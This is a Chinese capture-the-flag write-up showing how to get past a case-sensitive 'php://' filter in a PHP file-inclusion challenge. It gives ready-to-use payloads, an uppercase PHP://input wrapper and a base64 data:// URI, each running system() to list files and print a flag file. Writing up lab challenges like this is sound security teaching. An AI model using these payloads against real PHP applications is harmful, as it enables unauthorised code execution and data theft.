看到题目分析一波什么意思,首先前面Get hello这个参数没用。
要get page这个参数,然后循环匹配php://,接着把“php://”转换为“ ”。
ps.strstr返回一个指针,指向string2在string1中首次出现的位置。也就是循环。
也就是说没办法用php://伪协议了。
有两种方法。
第一:大写绕过
因为我查到strstr()这个函数是区分大小写的,大写PHP://就可以绕过再用input输入要执行的命令就行了。
ps.php://input用于执行php代码
page=PHP://input
这个命令可以再url上直接输入,也可以在抓包后输入。
先查看文件目录
<?php system("ls");?>
当然dir也可以。
发现文件,再显示文件内容。
<?php system("cat fla4gisisish3r3.php");?>
第二种用data伪协议来做
常用的有以下
?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?file=data:text/plain,<?php phpinfo()?>
后面加上<?php system("dir");?>的base64编码。
/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
接下来就是把换成<?php system("cat fla4gisisish3r3.php");?>的编码就行了。